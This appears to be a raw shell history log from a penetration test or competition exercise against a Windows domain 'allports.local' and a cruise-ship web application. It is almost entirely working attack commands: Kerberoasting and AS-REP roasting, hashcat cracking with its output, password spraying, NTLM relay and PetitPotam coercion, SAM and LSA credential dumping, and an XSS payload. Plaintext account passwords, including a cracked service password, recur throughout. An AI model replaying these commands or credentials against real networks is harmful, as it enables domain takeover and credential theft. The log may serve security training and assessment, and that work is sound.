_raw: : 1767995321:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -no-pass -usersfile /usr/share/seclists/Usernames/Names/names.txt


_raw: : 1767995321:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -no-pass -userfile /usr/share/seclists/Usernames/Names/names.txt


_raw: : 1767995321:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -usersfile usernames.txt -format hashcat -outputfile asrep.hash


_raw: : 1767995321:0;sudo apt install crackmapexec


_raw: : 1767995321:0;dnsrecon -d allports.local -n 10.0.1.6 -t std


_raw: : 1767995321:0;dnsenum --dnsserver 10.0.1.6 allports.local


_raw: : 1767995321:0;git clone https://github.com/fortra/impacket


_raw: : 1767995321:0;sudo apt install impacket


_raw: : 1767995321:0;sudo apt install adidnsdump


_raw: : 1767995321:0;dig axfr @allports.local allports.local


_raw:
: 1767995321:0;alid after:  2036-01-05T22:35:05\
| tls-alpn: \
|_  http/1.1\
|_ssl-date: TLS randomness does not represent time\
|_http-server-header: Microsoft-HTTPAPI/2.0\
|_http-title: Not Found\
9389/tcp  open  mc-nmf        .NET Message Framing\
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)\
|_http-server-header: Microsoft-HTTPAPI/2.0\
|_http-title: Not Found\
49297/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\
49298/tcp open  msrpc         Microsoft Windows RPC\
49303/tcp open  msrpc         Microsoft Windows RPC\
49310/tcp open  msrpc         Microsoft Windows RPC\
49315/tcp open  msrpc         Microsoft Windows RPC\
49664/tcp open  msrpc         Microsoft Windows RPC\
49665/tcp open  msrpc         Microsoft Windows RPC\
49666/tcp open  msrpc         Microsoft Windows RPC\
49667/tcp open  msrpc         Microsoft Windows RPC\
49668/tcp open  msrpc         Microsoft Windows RPC\
49670/tcp open  msrpc         Microsoft Windows RPC\
49673/tcp open  msrpc         Microsoft Windows RPC\
57657/tcp open  msrpc         Microsoft Windows RPC\
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).\
TCP/IP fingerprint:\
OS:SCAN(V=7.95%E=4%D=1/9%OT=53%CT=1%CU=39933%PV=Y%DS=2%DC=I%G=Y%TM=69611C9B\
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=105%TI=I%CI=I%TS=A)SEQ(SP=10\
OS:4%GCD=1%ISR=10C%TI=I%CI=I%TS=A)SEQ(SP=105%GCD=2%ISR=10A%TI=I%CI=I%TS=A)S\
OS:EQ(SP=106%GCD=1%ISR=10B%CI=I%TS=A)SEQ(SP=106%GCD=1%ISR=10D%TI=I%CI=I%TS=\
OS:A)OPS(O1=M5B4NW8ST11%O2=M5B4NW8ST11%O3=M5B4NW8NNT11%O4=M5B4NW8ST11%O5=M5\
OS:B4NW8ST11%O6=M5B4ST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFD\
OS:C)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S\
OS:+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=\
OS:)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%\
OS:A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIP\
OS:CK=G%RUCK=G%RUD=G)IE(R=N)\
\
Network Distance: 2 hops\
Service Info: Host: APT-DC-01; OS: Windows; CPE: cpe:/o:microsoft:windows\
\
Host script results:\
| smb2-security-mode: \
|   3:1:1: \
|_    Message signing enabled and required\
| smb2-time: \
|   date: 2026-01-09T15:19:47\
|_  start_date: N/A\
\
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .\
Nmap done: 1 IP address (1 host up) scanned in 1397.47 seconds\


_raw: : 1767995321:0;git clone https://github.com/nationalcptc-teamtools/university-of-florida.git


_raw: : 1767995321:0;# requesting: sAMAccountName


_raw: : 1767995321:0;⃴\x83\xB4⃴\x80$ ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName | grep sAMAccountName


_raw: : 1767995321:0;⃴\x83\xB4⃴\x80$ #SVC_STABILIZE password was cracked its 1gyroscope


_raw: : 1767995321:0;ServicePrincipalName  Name           MemberOf  PasswordLastSet             LastLogon  Delegation


_raw: : 1767995321:0;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies


_raw: : 1767995321:0;⃴\x83\xB4⃴\x80$ impacket-GetUserSPNs allports.local/pentester:')u1h55hm-h(M(7nV' -dc-ip 10.0.1.6


_raw: : 1767995321:0;Unable to connect with SMB1 -- no workgroup available


_raw: : 1767995321:0;do_connect: Connection to 10.0.1.6 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)


_raw: : 1767995321:0;Reconnecting with SMB1 for workgroup listing.


_raw: : 1767995321:0;SeDelegateSessionUserImpersonatePrivilege               0:36 (0x0:0x24)


_raw: : 1767995321:0;SeCreateSymbolicLinkPrivilege           0:35 (0x0:0x23)


_raw: : 1767995321:0;SeIncreaseWorkingSetPrivilege           0:33 (0x0:0x21)


_raw: : 1767995321:0;SeTrustedCredManAccessPrivilege                 0:31 (0x0:0x1f)


_raw: : 1767995321:0;SeCreateGlobalPrivilege                 0:30 (0x0:0x1e)


_raw: : 1767995321:0;SeImpersonatePrivilege          0:29 (0x0:0x1d)


_raw: : 1767995321:0;SeManageVolumePrivilege                 0:28 (0x0:0x1c)


_raw: : 1767995321:0;SeEnableDelegationPrivilege             0:27 (0x0:0x1b)


_raw: : 1767995321:0;SeRemoteShutdownPrivilege               0:24 (0x0:0x18)


_raw: : 1767995321:0;SeSystemEnvironmentPrivilege            0:22 (0x0:0x16)


_raw: : 1767995321:0;SeCreatePermanentPrivilege              0:16 (0x0:0x10)


_raw: : 1767995321:0;SeCreatePagefilePrivilege               0:15 (0x0:0xf)


_raw: : 1767995321:0;SeIncreaseBasePriorityPrivilege                 0:14 (0x0:0xe)


_raw: : 1767995321:0;SeProfileSingleProcessPrivilege                 0:13 (0x0:0xd)


_raw: : 1767995321:0;SeSystemtimePrivilege           0:12 (0x0:0xc)


_raw: : 1767995321:0;SeSystemProfilePrivilege                0:11 (0x0:0xb)


_raw: : 1767995321:0;SeLoadDriverPrivilege           0:10 (0x0:0xa)


_raw: : 1767995321:0;SeTakeOwnershipPrivilege                0:9 (0x0:0x9)


_raw: : 1767995321:0;SeMachineAccountPrivilege               0:6 (0x0:0x6)


_raw: : 1767995321:0;SeIncreaseQuotaPrivilege                0:5 (0x0:0x5)


_raw: : 1767995321:0;SeAssignPrimaryTokenPrivilege           0:3 (0x0:0x3)


_raw: : 1767995321:0;SeCreateTokenPrivilege          0:2 (0x0:0x2)


_raw: : 1767995321:0;SeDelegateSessionUserImpersonatePrivilege               0:36 (0x0:0x24)


_raw: : 1767995321:0;SeCreateSymbolicLinkPrivilege           0:35 (0x0:0x23)


_raw: : 1767995321:0;SeIncreaseWorkingSetPrivilege           0:33 (0x0:0x21)


_raw: : 1767995321:0;SeTrustedCredManAccessPrivilege                 0:31 (0x0:0x1f)


_raw: : 1767995321:0;SeCreateGlobalPrivilege                 0:30 (0x0:0x1e)


_raw: : 1767995321:0;SeImpersonatePrivilege          0:29 (0x0:0x1d)


_raw: : 1767995321:0;SeManageVolumePrivilege                 0:28 (0x0:0x1c)


_raw: : 1767995321:0;SeEnableDelegationPrivilege             0:27 (0x0:0x1b)


_raw: : 1767995321:0;SeRemoteShutdownPrivilege               0:24 (0x0:0x18)


_raw: : 1767995321:0;SeSystemEnvironmentPrivilege            0:22 (0x0:0x16)


_raw: : 1767995321:0;SeCreatePermanentPrivilege              0:16 (0x0:0x10)


_raw: : 1767995321:0;SeCreatePagefilePrivilege               0:15 (0x0:0xf)


_raw: : 1767995321:0;SeIncreaseBasePriorityPrivilege                 0:14 (0x0:0xe)


_raw: : 1767995321:0;SeProfileSingleProcessPrivilege                 0:13 (0x0:0xd)


_raw: : 1767995321:0;SeSystemtimePrivilege           0:12 (0x0:0xc)


_raw: : 1767995321:0;SeSystemProfilePrivilege                0:11 (0x0:0xb)


_raw: : 1767995321:0;SeLoadDriverPrivilege           0:10 (0x0:0xa)


_raw: : 1767995321:0;SeTakeOwnershipPrivilege                0:9 (0x0:0x9)


_raw: : 1767995321:0;SeMachineAccountPrivilege               0:6 (0x0:0x6)


_raw: : 1767995321:0;SeIncreaseQuotaPrivilege                0:5 (0x0:0x5)


_raw: : 1767995321:0;SeAssignPrimaryTokenPrivilege           0:3 (0x0:0x3)


_raw: : 1767995321:0;SeCreateTokenPrivilege          0:2 (0x0:0x2)


_raw: : 1767995321:0;Candidates.#01...: 1hyundai. -> 1furrstenfeld


_raw: : 1767995321:0;Candidate.Engine.: Device Generator


_raw: : 1767995321:0;Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1


_raw: : 1767995321:0;Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz)


_raw: : 1767995321:0;Kernel.Feature...: Pure Kernel (password length 0-256 bytes)


_raw: : 1767995321:0;[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s


_raw: : 1767995321:0;* Filename..: /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767995321:0;Host memory allocated for this attack: 513 MB (1550 MB free)


_raw: : 1767995321:0;Watchdog: Temperature abort trigger disabled.


_raw: : 1767995321:0;Watchdog: Hardware monitoring interface not found on your system.


_raw: : 1767995321:0;See the above message to find out about the exact limits.


_raw: : 1767995321:0;If you want to switch to optimized kernels, append -O to your commandline.


_raw: : 1767995321:0;Pure kernels can crack longer passwords, but drastically reduce performance.


_raw: : 1767995321:0;ATTENTION! Pure (unoptimized) backend kernels selected.


_raw: : 1767995321:0;Hashes: 1 digests; 1 unique digests, 1 unique salts


_raw: : 1767995321:0;Hashfile 'svchash.txt' on line 2 (      ): Salt-length exception


_raw: : 1767995321:0;Maximum salt length supported by kernel: 256


_raw: : 1767995321:0;Minimum salt length supported by kernel: 0


_raw: : 1767995321:0;Maximum password length supported by kernel: 256


_raw: : 1767995321:0;Minimum password length supported by kernel: 0


_raw: : 1767995321:0;* Device #01: cpu-haswell-AMD EPYC-Rome Processor, 2948/5896 MB (1024 MB allocatable), 4MCU


_raw: : 1767995321:0;OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]


_raw: : 1767995321:0;⃴\x83\xB4⃴\x80$ hashcat -m 13100 svchash.txt /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767995321:0;smbmap -H 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' -R NETLOGON --depth 10


_raw: : 1767995321:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" sAMAccountName


_raw: : 1767995321:0;crackmapexec smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --groups | grep -i "pentester"


_raw: : 1767995321:0;crackmapexec smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --groups


_raw: : 1767995321:0;crackmapexec smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --users > domain_users.txt


_raw: : 1767995321:0;hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767995321:0;hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --force


_raw: : 1767995321:0;impacket-GetNPUsers allports.local/pentester:')u1h55hm-h(M(7nV' -dc-ip 10.0.1.6 -request -format hashcat -outputfile asrep.txt


_raw: : 1767995321:0;grep -r -i "password\|cpassword\|pwd" SYSVOL/ NETLOGON/


_raw: : 1767995321:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName


_raw: : 1767995321:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(adminCount=1)" sAMAccountName


_raw: : 1767995321:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName | grep sAMAccountName


_raw: : 1767995321:0;#SVC_STABILIZE password was cracked its 1gyroscope


_raw: : 1767995321:0;impacket-GetUserSPNs allports.local/pentester:')u1h55hm-h(M(7nV' -dc-ip 10.0.1.6


_raw: : 1767995321:0;rpcclient -U "pentester%)u1h55hm-h(M(7nV" 10.0.1.6 -c "enumprivs"


_raw: : 1767995321:0;hashcat -m 13100 svchash.txt /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767995321:0;john --format=krb5tgs svchash.txt --wordlist=/usr/share/wordlists/rockyou.txt.gz


_raw: : 1767995321:0;john --format=krb5tgs svchash.txt --wordlist=/usr/share/wordlists/rockyou.txt


_raw: : 1767995321:0;hashcat -m 13100 svchash.txt /usr/share/wordlists/rockyou.txt


_raw: : 1767995321:0;hashcat -m 13100 svc_stabilize.hash /usr/share/wordlists/rockyou.txt


_raw: : 1767995321:0;sudo apt install flameshot


_raw: : 1767995321:0;impacket-GetUserSPNs allports.local/pentester:")u1h55hm-h(M(7nV" -dc-ip 10.0.1.6 -request-user svc_stabilize


_raw: : 1767995321:0;impacket-GetUserSPNs allports.local/pentester:)u1h55hm-h(M(7nV -dc-ip 10.0.1.6 -request-user svc_stabilize


_raw: : 1767995321:0;rpcclient -U "allports.local/pentester%)u1h55hm-h(M(7nV" 10.0.1.6 -c "getdompwinfo"


_raw: : 1767995321:0;rpcclient -U "allports.local/USERNAME%PASSWORD" 10.0.1.6 -c "getdompwinfo"


_raw: : 1767995321:0;rpcclient -U "allports.local/pentester%)u1h55hm-h(M(7nV" 10.0.1.6 -c "enumdomusers"


_raw: : 1767995321:0;rpcclient -U "allports.local/USERNAME%PASSWORD" 10.0.1.6 -c "enumdomusers"


_raw: : 1767995321:0;python3 -c "from impacket import system_errors; from impacket.dcerpc.v5 import transport, epm; stringbinding = r'ncacn_np:10.0.1.6[\PIPE\spoolss]'; rpctransport = transport.DCERPCTransportFactory(stringbinding); rpctransport.connect(); print('Connected to Print Spooler')"


_raw: : 1767995321:0;crackmapexec smb 10.0.1.6 --gen-relay-list relay_targets.txt


_raw: : 1767995321:0;wsgidav --host=0.0.0.0 --port=80 --root=/tmp/webdav --auth=anonymous


_raw: : 1767995321:0;impacket-ntlmrelayx -t ldap://10.0.1.6 -smb2support --no-http-server --no-wcf-server


_raw:
: 1767995321:0;rpcclient -U "" -N 10.0.1.6 <<EOF\
srvinfo\
enumdomains\
quit\
EOF


_raw: : 1767995321:0;python3 shadowcoerce.py -d allports.local -u '' -p '' --target 10.0.1.6 --listener 10.0.254.202


_raw: : 1767995321:0;git clone https://github.com/ShutdownRepo/ShadowCoerce.git


_raw: : 1767995321:0;git clone https://github.com/Wh04m1001/DFSCoerce.git


_raw: : 1767995321:0;sudo apt install python3-coercer


_raw: : 1767995321:0;git clone https://github.com/topotam/PetitPotam.git


_raw: : 1767995321:0;git clone https://github.com/dirkjanm/krbrelayx


_raw: : 1767995321:0;sudo apt install schtasks


_raw: : 1767995321:0;impacket-atexec allports.local/guest:""@10.0.1.6 "whoami"


_raw: : 1767995321:0;impacket-atexec -nooutput allports.local/guest:""@10.0.1.6 "whoami"


_raw: : 1767995321:0;git clone https://github.com/RUB-NDS/PRET.git


_raw: : 1767995321:0;git clone https://github.com/leechristensen/SpoolSample


_raw: : 1767995321:0;git clone https://github.com/cube0x0/CVE-2021-1675.git


_raw: : 1767995321:0;sudo apt install rpcdump.py


_raw: : 1767995321:0;grep -i "backup\|print\|schedule\|task" rpc_endpoints.txt


_raw: : 1767995321:0;impacket-rpcdump 10.0.1.6 | tee rpc_endpoints.txt


_raw: : 1767995321:0;sudo apt install ldapsearch


_raw: : 1767995321:0;sudo apt install kerbrute


_raw: : 1767995321:0;kerbrute userenum -d allports.local --dc 10.0.1.6 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt


_raw: : 1767995321:0;impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks


_raw: : 1767995321:0;crackmapexec smb 10.0.1.6 --gen-relay-list relay_targets.txt


_raw: : 1767995321:0;crackmapexec smb 10.0.1.0/24 --gen-relay-list relay_targets.txt


_raw: : 1767995321:0;impacket-ntlmrelayx -6 -t ldaps://10.0.1.6 -wh fakewpad.allports.local -l loot/


_raw: : 1767995321:0;impacket-ntlmrelayx -6 -t ldaps://10.0.1.6 -wh fakewpad.allports.local -l


_raw: : 1767995321:0;kerbrute userenum -d allports.local --dc 10.0.1.6 usernames.txt


_raw: : 1767995321:0;git clone https://github.com/ropnop/kerbrute


_raw: : 1767995321:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -no-pass -usersfile /usr/share/seclists/Usernames/Names/names.txt


_raw: : 1767995321:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -no-pass -userfile /usr/share/seclists/Usernames/Names/names.txt


_raw: : 1767995321:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -usersfile usernames.txt -format hashcat -outputfile asrep.hash


_raw: : 1767995321:0;sudo apt install crackmapexec


_raw: : 1767995321:0;dnsrecon -d allports.local -n 10.0.1.6 -t std


_raw: : 1767995321:0;dnsenum --dnsserver 10.0.1.6 allports.local


_raw: : 1767995321:0;git clone https://github.com/fortra/impacket


_raw: : 1767995321:0;sudo apt install impacket


_raw: : 1767995321:0;sudo apt install adidnsdump


_raw: : 1767995321:0;dig axfr @allports.local allports.local


_raw:
: 1767995321:0;alid after:  2036-01-05T22:35:05\
| tls-alpn: \
|_  http/1.1\
|_ssl-date: TLS randomness does not represent time\
|_http-server-header: Microsoft-HTTPAPI/2.0\
|_http-title: Not Found\
9389/tcp  open  mc-nmf        .NET Message Framing\
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)\
|_http-server-header: Microsoft-HTTPAPI/2.0\
|_http-title: Not Found\
49297/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\
49298/tcp open  msrpc         Microsoft Windows RPC\
49303/tcp open  msrpc         Microsoft Windows RPC\
49310/tcp open  msrpc         Microsoft Windows RPC\
49315/tcp open  msrpc         Microsoft Windows RPC\
49664/tcp open  msrpc         Microsoft Windows RPC\
49665/tcp open  msrpc         Microsoft Windows RPC\
49666/tcp open  msrpc         Microsoft Windows RPC\
49667/tcp open  msrpc         Microsoft Windows RPC\
49668/tcp open  msrpc         Microsoft Windows RPC\
49670/tcp open  msrpc         Microsoft Windows RPC\
49673/tcp open  msrpc         Microsoft Windows RPC\
57657/tcp open  msrpc         Microsoft Windows RPC\
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).\
TCP/IP fingerprint:\
OS:SCAN(V=7.95%E=4%D=1/9%OT=53%CT=1%CU=39933%PV=Y%DS=2%DC=I%G=Y%TM=69611C9B\
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=105%TI=I%CI=I%TS=A)SEQ(SP=10\
OS:4%GCD=1%ISR=10C%TI=I%CI=I%TS=A)SEQ(SP=105%GCD=2%ISR=10A%TI=I%CI=I%TS=A)S\
OS:EQ(SP=106%GCD=1%ISR=10B%CI=I%TS=A)SEQ(SP=106%GCD=1%ISR=10D%TI=I%CI=I%TS=\
OS:A)OPS(O1=M5B4NW8ST11%O2=M5B4NW8ST11%O3=M5B4NW8NNT11%O4=M5B4NW8ST11%O5=M5\
OS:B4NW8ST11%O6=M5B4ST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFD\
OS:C)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S\
OS:+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=\
OS:)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%\
OS:A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIP\
OS:CK=G%RUCK=G%RUD=G)IE(R=N)\
\
Network Distance: 2 hops\
Service Info: Host: APT-DC-01; OS: Windows; CPE: cpe:/o:microsoft:windows\
\
Host script results:\
| smb2-security-mode: \
|   3:1:1: \
|_    Message signing enabled and required\
| smb2-time: \
|   date: 2026-01-09T15:19:47\
|_  start_date: N/A\
\
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .\
Nmap done: 1 IP address (1 host up) scanned in 1397.47 seconds\


_raw: : 1767995321:0;git clone https://github.com/nationalcptc-teamtools/university-of-florida.git


_raw:
: 1767995308:0;curl -s "http://10.0.1.13:8080/api/load_routes.php" \\
    -H "Authorization: Bearer $TOKEN" \\
    | python3 -m json.tool\


_raw:
: 1767995274:0;curl -s -X POST "http://10.0.1.13:8080/api/save_route.php" \\
    -H "Authorization: Bearer $TOKEN" \\
    -H "Content-Type: application/json" \\
    -d '{"route_name":"<img src=x onerror=alert(\"XSS_CONFIRMED\")>","waypoints":[{"lat":25.0,"lon":-80.0,"name":"Miami"},{"lat":26.0,"lon":-79.0,"name":"Bimini"}]}' \\
    | python3 -m json.tool\


_raw:
: 1767995266:0;curl -s -X POST "http://10.0.1.13:8080/api/save_route.php" \\
    -H "Authorization: Bearer $TOKEN" \\
    -H "Content-Type: application/json" \\
    -d '{"route_name":"<img src=x onerror=alert(\"XSS_CONFIRMED\")>","waypoints":[{"lat":25.0,"lon":-80.0,"name":"Miami"},{"lat":26.0,"lon":-79.0,"name":"Bimini"}]}' \\
    | jq


_raw: : 1767995241:0;./kerbrute passwordspray -d 10.0.1.6 -d allports.local users.txt "Password"


_raw: : 1767995235:0;TOKEN=$(curl -s -X POST http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token -d "username=captain&password=captain&grant_type=password&client_id=gps-app" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)


_raw: : 1767995202:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.21


_raw: : 1767995193:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.20


_raw: : 1767995183:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.6


_raw: : 1767995154:0;./kerbrute passwordspray -d 10.0.1.6 -d allports.local users.txt "administrator"


_raw: : 1767995148:0;./kerbrute passwordspray -d 10.0.1.6 -d allports.local users.txt "password"


_raw: : 1767995134:0;zip -r findings.zip findings_app


_raw: : 1767995059:0;nxc smb hosts.txt -u 'Guest' -p '' -M coerce_plus -o M=MSEven L=10.0.254.202


_raw: : 1767995058:0;netexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --sam


_raw: : 1767995051:0;sudo responder2 -I eth0 -v


_raw: : 1767995049:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.20


_raw: : 1767995048:0;netexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --dcom


_raw: : 1767995045:0;cat C5:\ Climate\ Control\ System\ Still\ Accessible/details.txt


_raw: : 1767995044:0;nxc smb 10.0.1.20 -u svc_stabilize -k --use-kcache


_raw: : 1767995043:0;nxc smb hosts.txt -u 'Guest' -p '' -M coerce_plus -o M=MSEven L=10.0.254.202


_raw: : 1767995037:0;netexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --spooler


_raw: : 1767995036:0;nxc smb 10.0.1.6 -u svc_stabilize -k --use-kcache


_raw: : 1767995030:0;crackmapexec smb 10.0.1.21 --gen-relay-list relay.txt


_raw: : 1767995029:0;netexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --llspooler


_raw: : 1767995008:0;netexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --lsa


_raw: : 1767995006:0;sudo nmap -p 445 --script smb-protocols,smb-security-mode,smb2-security-mode 10.0.1.21


_raw: : 1767994994:0;nxc smb hosts.txt -u 'Guest' -p '' -M coerce_plus


_raw: : 1767994994:0;nxc smb 10.0.1.6 -u svc_stablize -k --use-kcache


_raw: : 1767994991:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.21


_raw: : 1767994970:0;nxc smb DECKHAND-01.allports.local -u svc_stablize -k --use-kcache


_raw: : 1767994869:0;nxc smb 10.0.1.6 -u domain_admins.txt -p '1compass' --continue-on-success


_raw: : 1767994868:0;nxc smb 10.0.1.6 -u domain_admins.txt -p '1gyroscope' --continue-on-success


_raw: : 1767994823:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.21


_raw: : 1767994748:0;xfreerdp3 /u:svc_stabilize /p:1gyroscope /v:10.0.1.20 /k


_raw: : 1767994743:0;xfreerdp3 /u:svc_stabilize /p:1gyroscope /v:10.0.1.20


_raw: : 1767994716:0;nxc rdp 10.0.1.20 -u svc_stabilize -p 1gyroscope


_raw: : 1767994708:0;nxc smb hosts.txt -u 'Guest' -p '' -M nopac


_raw: : 1767994696:0;./kerbrute passwordspray -d 10.0.1.6 -d allports.local users.txt "Sails@way\!"


_raw: : 1767994684:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope


_raw: : 1767994679:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope --sessions


_raw: : 1767994677:0;sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support -socks


_raw: : 1767994676:0;nxc smb hosts.txt -u 'Guest' -p '' -M zerologon


_raw: : 1767994670:0;./kerbrute passwordspray -d allports -d local users.txt "Sails@way\!"


_raw: : 1767994657:0;./kerbrute passwordspray -d allports -d local users.txt "Sails@way


_raw: : 1767994640:0;sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support -socks


_raw: : 1767994625:0;skipfish -o temp https://chat.allports.tours/dashboard


_raw:
: 1767994615:0;cat scans/network_scan.xml | claude "I am testing 10.0.1.13 MySQL security, how do I do that? here is some context ou're conducting a penetration test on 10.0.1.10 for All Ports Tours (cruise company) and I've been helping you discover and document vulnerabilities on ports 6768 (Climate Control), 9000 (Ballast Control), and 22 (SSH). We found 3 HIGH/MEDIUM severity findings: (1) unauthenticated access to Climate Control on port 6768, (2) exposed but authenticated Ballast Control on port 9000, and (3) SSH user enumeration vulnerability (CVE-2018-15473) that revealed 31 valid usernames including OSINT-confirmed staff (Bailey Finn/bfinn, Emily Carter/ecarter, David Carter/dcarter, Rose Davis/rdavis). All findings are documented in /home/pentester/findings_report.md with full details including CVSS scores, business/technical impacts, reproduction steps, and mitigation strategies, plus we created logs/ directory with test results (ssh_detailed_scan.txt, ssh_user_enum.txt, ssh_credential_test.txt). We safely tested vulnerabilities without using risky tools like Hydra to avoid locking accounts or disrupting the production ship system with 3,000 passengers onboard. \
\
 \
\
Session Summary: Penetration Testing on All Ports Tours Network \
\
  \
\
  Hosts Tested This Session: \
\
  \
\
  1. 10.0.1.10 (continued from previous session) \
\
  \
\
  Port 9091/TCP - Ballast Control Telemetry \
\
  - Status: ADDED TO REPORT as Finding #4 \
\
  - Severity: HIGH (CVSS 7.5) \
\
  - Issue: Unauthenticated Prometheus metrics endpoint exposing real-time ballast control telemetry \
\
  - Exposed Data: \
\
    - Ship stability (GM: 1.9m) \
\
    - List/pitch angles (currently 0°) \
\
    - All 4 pump health statuses \
\
    - Tank levels (all tanks at 5000 liters) \
\
    - Go application internals via /debug/vars \
\
  \
\
  2. 10.0.1.1 \
\
  \
\
  Port 53/TCP - DNS Service \
\
  - Status: TESTED - NO VULNERABILITIES FOUND \
\
  - Result: Properly secured with TCP wrappers, access control functioning correctly \
\
  \
\
  3. 10.0.1.13 (Multi-service server - extensive testing) \
\
  \
\
  Port 8180/TCP - Keycloak IAM \
\
  - Status: ADDED TO REPORT as Finding #5 \
\
  - Severity: CRITICAL (CVSS 9.8) \
\
  - Issue: Default credentials (admin/admin) provide full administrative access \
\
  - Impact: Attacker can disable all authentication flows: \
\
    - Browser Flow: Remove cookie/OTP/Kerberos requirements \
\
    - Client Authentication: Disable JWT signature validation \
\
    - Direct Grant: Remove password requirements \
\
    - Registration Flow: Disable password policies \
\
    - Reset Credentials: Bypass security checks \
\
  \
\
  Port 8080/TCP - Bridge Navigation API (PHP 5.6.40) \
\
  - Status: DRAFTED as Finding #6 (PHP EOL) - NOT YET ADDED TO REPORT \
\
  - Severity: HIGH (CVSS 8.6) \
\
  - Issue: PHP version 5.6.40 reached End-of-Life on December 31, 2018 \
\
  - Impact: 2,566+ days without security updates, 150+ known unpatched CVEs \
\
  \
\
  Ports 8080/8081 - API & Swagger Documentation \
\
  - Status: DRAFTED as Finding #7 - NOT YET ADDED TO REPORT \
\
  - Severity: HIGH (CVSS 7.5) \
\
  - Issues: \
\
